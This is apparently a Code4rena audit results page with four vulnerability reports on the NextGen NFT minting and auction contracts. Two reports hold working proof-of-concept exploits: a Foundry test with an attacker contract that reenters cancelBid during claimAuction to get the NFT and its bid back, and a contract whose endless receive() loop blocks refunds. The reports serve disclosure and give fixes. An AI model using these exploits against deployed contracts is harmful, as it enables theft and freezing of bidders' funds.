NextGen - Talfao's results

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/hardhat/smart-contracts/MinterContract.sol#L217 https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/hardhat/smart-contracts/MinterContract.sol#L224 https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/hardhat/smart-contracts/NextGenCore.sol#L194-L199

Vulnerability details

Impact

A user is able to mint more tokens than allowlist enables for address and also more than per public address due to reentrancy issues. This breaks the core design of the protocol, further minting all the total supply just for one user if he has enough funds to cover costs.

Proof of Concept

There is no need for coded Poc, as we can support the issue from the flow of the code. When the user is enabled to mint thanks to allowlist, or even though in when public mint is started, he can reenter and bypass all max allowance checks.

Scenario:

1. The user is able to mint in allowList.
2. The user calls mint(), all checks pass, and he can mint some amount of x of tokens.
3. The flow of the code gets to the core contract The mintProcessing(...) is called, and within this function is called safeMint, which triggers onERC721Received, opening space for reentrancy.
4. As the update of mapping of the minted tokens for address is done after the minting for allowlist and per address.
5. The minter is able to reenter the mint function and mint the tokens till he does not hit the max supply check. require(collectionTokenMintIndex <= gencore.viewTokensIndexMax(col), "No supply");
6. This enables a user to mint more than he should.

Tools Used

Recommended Mitigation Steps

Implement a reentrancy guard or change the position of the mapping updates before calling mintProcessing to keep the C-E-I pattern.

    function mint(uint256 mintIndex, address _mintingAddress , address _mintTo, string memory _tokenData, uint256 _saltfun_o, uint256 _collectionID, uint256 phase) external {
        require(msg.sender == minterContract, "Caller is not the Minter Contract");
        collectionAdditionalData[_collectionID].collectionCirculationSupply = collectionAdditionalData[_collectionID].collectionCirculationSupply + 1;
        if (collectionAdditionalData[_collectionID].collectionTotalSupply >= collectionAdditionalData[_collectionID].collectionCirculationSupply) {
 -           _mintProcessing(mintIndex, _mintTo, _tokenData, _collectionID, _saltfun_o);
            if (phase == 1) {
                tokensMintedAllowlistAddress[_collectionID][_mintingAddress] = tokensMintedAllowlistAddress[_collectionID][_mintingAddress] + 1;
            } else {
                tokensMintedPerAddress[_collectionID][_mintingAddress] = tokensMintedPerAddress[_collectionID][_mintingAddress] + 1;
+  _mintProcessing(mintIndex, _mintTo, _tokenData, _collectionID, _saltfun_o);
...

Assessed type

Reentrancy

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/hardhat/smart-contracts/AuctionDemo.sol#L112 https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/hardhat/smart-contracts/AuctionDemo.sol#L125 https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/hardhat/smart-contracts/AuctionDemo.sol#L105

Vulnerability details

Impact

Due to the poorly implemented timestamp check of cancelBid(...) and claimAuction(...), a winner of the auction is able to reenter and obtain an NFT for free. Furthermore, this vulnerability can result in not obtaining funds for the owner of the auction if a sufficient amount of ether is not persistent in the contract.

Attack scenario

The vulnerability occurs because of misconfiguration in the timestamp check for cancelBid(...) and claimAuction(...). If the block.timestamp is equal to minter.getAuctionEndTime(_tokenid). The attacker can trigger the following scenario.

1. Before the end of the auction, an attacker contract participate with the highest bid.
2. Attack calls claimAuction when the block.timestamp is equal to getAuctionEndTime(...)
3. Due to safeTransferFrom the callback onERC721Received is triggered in attacker contract.
4. That allows to reenter the contract and call cancelBid(...)

As a result, the attacker receives the NFT and his bid.

Proof of Concept

The following foundry test exploits this vulnerability:

function testCreateACollectionAndAuctionReentrancy() public {
        string[] memory array = new string[](1);
        address alice = makeAddr("alice");
        address bob = makeAddr("bob");
        array[0] = "0x0";
        gencoreContract.createCollection("0x0","0x0", "0x0", "0x0","0x0", "0x0", "0x0", array);
        gencoreContract.setCollectionData(1, alice, 10, 20, 100);
        gencoreContract.addRandomizer(1,address(random));
        minterContract.setCollectionCosts(1, 10, 10, 10,10 , 3, address(0x0));
        minterContract.setCollectionPhases(1, 100, 120, 100, 120, 0x0);
        skip(110);
        minterContract.mintAndAuction(alice, "0x0", 1,1,120);
        uint tokenId = 10000000000;
        minterContract.getAuctionEndTime(tokenId);
        vm.prank(alice);
        gencoreContract.approve(address(auctionDemoContract), tokenId);
        address charlie = makeAddr("charlie");
        address delta = makeAddr("delta");
        vm.prank(bob);
        Attack attack = new Attack(address(auctionDemoContract));
        deal(charlie, 0.5 ether);
        deal(delta, 0.51 ether);
        deal(address(attack), 1.1 ether);
        vm.prank(charlie);
        auctionDemoContract.participateToAuction{value: 0.5 ether}(tokenId);
        vm.prank(delta);
        auctionDemoContract.participateToAuction{value: 0.51 ether}(tokenId);
        vm.prank(address(attack));
        auctionDemoContract.participateToAuction{value: 1 ether}(tokenId);
        skip(120 - block.timestamp);
        require(block.timestamp ==  minterContract.getAuctionEndTime(tokenId));
        uint balanceBefore = address(attack).balance;
        vm.prank(address(attack));
        auctionDemoContract.claimAuction(tokenId);
        uint balanceAfter = address(attack).balance;
        require(balanceAfter > balanceBefore);
        require(balanceAfter == 1.1 ether);
        console.log("balanceAfter", balanceAfter);
        require(gencoreContract.ownerOf(tokenId) == address(attack));

    }

The attacker's contract:

contract Attack{
    address owner;
    auctionDemo public auctionDemoContract;
    constructor(address auction) public {
        owner = msg.sender;
        auctionDemoContract = auctionDemo(auction);
        
    }
    function onERC721Received(address, address, uint256, bytes memory) public returns (bytes4) {
        auctionDemoContract.cancelBid(10000000000, 2);
        return bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"));
    }
   receive() external payable {
        
    }
}

Tools Used

Recommended Mitigation Steps

Change the following check:

 function claimAuction(uint256 _tokenid) public WinnerOrAdminRequired(_tokenid,this.claimAuction.selector){ //@audit-issue free NFT when we call in getAuctionEndTime because of reentrancy
 -       require(block.timestamp >= minter.getAuctionEndTime(_tokenid) && auctionClaim[_tokenid] == false && minter.getAuctionStatus(_tokenid) == true);
 +       require(block.timestamp > minter.getAuctionEndTime(_tokenid) && auctionClaim[_tokenid] == false && minter.getAuctionStatus(_tokenid) == true);
       ...
    }

Assessed type

Reentrancy

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/hardhat/smart-contracts/AuctionDemo.sol#L116

Vulnerability details

Impact

The claimAuction(...) will be DoSed as there is no gas limit for low-level call when returning bids, leading to a locked ETH in the contract.

Note - different issue than permanent-dos-due-to-non-shrinking-array-usage-in-an-unbounded-loop

This issue is different from https://github.com/code-423n4/2023-10-nextgen/blob/main/bot-report.md#permanent-dos-due-to-non-shrinking-array-usage-in-an-unbounded-loop as the root cause is different. The mentioned issue in the Bot report is based on supplying many bids, which, for loop in claimAuction will revert. However, my issue is based on of gas error due to no limit in the call function when returning bids. Check the next sections.

Attack scenario

1.The attacker will wait for the auction to start. 2. When it starts, he will participate in the auction with few bids (i think 3 can be enough) with few weis. 3. However, the participator will be in the form of a contract, which implements a malicious while loop in the receive function. 4. This will cost a lot of gas and lead to out-of-gas errors all the time. Result: Stuck ETH of all bidders.

Proof of Concept

1. I have created a simple proof in the Remix.
2. Deploy the contract with a default gas limit of 3M.
3. Deploy attacker contract, which participates in the auction, with three bids - in total cost 6 Weis.
4. Another user participates to win an auction. -> Calls claim auction, but it will revert out of gas. This is a simplifed version of AuctionDemo.sol to simulate that issue.

 import "hardhat/console.sol";


pragma solidity ^0.8.19;

contract auctionDemo{

    //events 

    event ClaimAuction(address indexed _add, uint256 indexed tokenid, bool status, uint256 indexed funds);
    event Refund(address indexed _add, uint256 indexed tokenid, bool status, uint256 indexed funds);
    event CancelBid(address indexed _add, uint256 indexed tokenid, uint256 index, bool status, uint256 indexed funds);


    address gencore;

    // certain functions can only be called by auction winner or admin


    // auction Bidders
    struct auctionInfoStru {
        address bidder;
        uint256 bid;
        bool status;
    }

    // mapping of collectionSecondaryAddresses struct
    mapping (uint256 => auctionInfoStru[]) public auctionInfoData;

    // claim auctioned
    mapping (uint256 => bool) public auctionClaim;

    // participate to auction

    function participateToAuction(uint256 _tokenid) public payable {
        auctionInfoStru memory newBid = auctionInfoStru(msg.sender, msg.value, true);
        auctionInfoData[_tokenid].push(newBid);
    }

    // get highest bid

    function returnHighestBid(uint256 _tokenid) public view returns (uint256) {
        uint256 index;
        if (auctionInfoData[_tokenid].length > 0) {
            uint256 highBid = 0;
            for (uint256 i=0; i< auctionInfoData[_tokenid].length; i++) {
                if (auctionInfoData[_tokenid][i].bid > highBid && auctionInfoData[_tokenid][i].status == true) {
                    highBid = auctionInfoData[_tokenid][i].bid;
                    index = i;
                }
            }
            if (auctionInfoData[_tokenid][index].status == true) {
                return highBid;
            } else {
                return 0;
            }
        } else {
            return 0;
        }
    }

    // get highest bidder

    function returnHighestBidder(uint256 _tokenid) public view returns (address) {
        uint256 highBid = 0;
        uint256 index;
        for (uint256 i=0; i< auctionInfoData[_tokenid].length; i++) {
            if (auctionInfoData[_tokenid][i].bid > highBid && auctionInfoData[_tokenid][i].status == true) {
                index = i;
            }
        }
        if (auctionInfoData[_tokenid][index].status == true) {
                return auctionInfoData[_tokenid][index].bidder;
            } else {
                revert("No Active Bidder");
        }
    }

    // claim Token After Auction

    function claimAuction(uint256 _tokenid) public{ //@audit-issue free NFT when we call in getAuctionEndTime because of reentrancy
        auctionClaim[_tokenid] = true;
        uint256 highestBid = returnHighestBid(_tokenid);
        address highestBidder = returnHighestBidder(_tokenid);
        for (uint256 i=0; i< auctionInfoData[_tokenid].length; i ++) { //@audit-issue possible out of gas
            if (auctionInfoData[_tokenid][i].bidder == highestBidder && auctionInfoData[_tokenid][i].bid == highestBid && auctionInfoData[_tokenid][i].status == true) {
                (bool success, ) = payable(address(0x0)).call{value: highestBid}("");
            } else if (auctionInfoData[_tokenid][i].status == true) {
                console.log("Gas left before call:", gasleft());
                (bool success, ) = payable(auctionInfoData[_tokenid][i].bidder).call{value: auctionInfoData[_tokenid][i].bid}("");
                emit Refund(auctionInfoData[_tokenid][i].bidder, _tokenid, success, highestBid);
            } else {}
        }
    }

}

contract Attacker{
    address auction;
    constructor(address _auction){
        auction = _auction;
    }
    function participateIn() public payable {
         auctionDemo(auction).participateToAuction{value: msg.value}(1);
    }
    receive() external payable { 
        uint a = 0;
        while (true){
            uint i = a;
            i++;
        }
    }
}

Result

Gas left before call: 2920546
Gas left before call: 39356
transact to auctionDemo.claimAuction errored: Error occured: out of gas.

out of gas
	The transaction ran out of gas. Please increase the Gas Limit.

Tools Used

Recommended Mitigation Steps

Implement gas limit of low level call

 + (bool success, ) = payable(auctionInfoData[_tokenid][i].bidder).call{value: auctionInfoData[_tokenid][i].bid, gas: <someLimit>}("");

Furthermore, the issue could still persist as data are received from the call low-level function even though you have not implemented this variable. Consider implementing assembly-level calls to address this issue fully.

...
bool success;
address bidder = auctionInfoData[_tokenid][i].bidder;
bid = auctionInfoData[_tokenid][i].bid;
assembly {
    success := call(GAS_LIMIT, bidder, bid, 0, 0, 0, 0)
}
...

Assessed type

DoS

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/hardhat/smart-contracts/AuctionDemo.sol#L112

Vulnerability details

Impact

If the user maliciously or accidentally does not implement the onERC721Received callback, the claimAuction will be DoSed, and the ether will be locked in the contract forever.

Attack scenario

This result of DOSed claimAuction can occur if the winner of the auction is the contract. It can be done maliciously or accidentally. As there will be some cost of the attack for the attacker if he wants to do it maliciously, I give this issue a medium severity.

1. The user creates a contract and participates in the auction with the highest bid. However, a contract does not implement the onERC721Received callback.
2. If Admin or Winner calls claimAuction, it will revert as the callback is not implemented
3. The ether of all bidders is stuck in the contract.

It can be really severe if some NFT has a lot of bids. To sum up, for 50K $, the attacker will participate with 1001 $ to be a winner. Now, the 50K $ is locked in the contract just for the cost of 1001$.

That is just a USD example. Of course, the ether is used,

Proof of Concept

Here, I thought it is not needed as proof of concept we can obtain from the behaviour of the ERC721 function' safeTransferFrom. This function triggers the onERC721Received` callback if the receiver is the contract. When the contract does not implement this callback, the function will revert.

We can notice reverting in the implementation of the callback check in ERC721.sol#onERC721Received

Tools Used

Recommended Mitigation Steps

To mitigate this issue, you can follow two approaches. One is to replace safeTransferFrom with transferFrom. The second is to allow other bidders to obtain their funds via cancelBid(...) even though the auction has finished.

Assessed type

DoS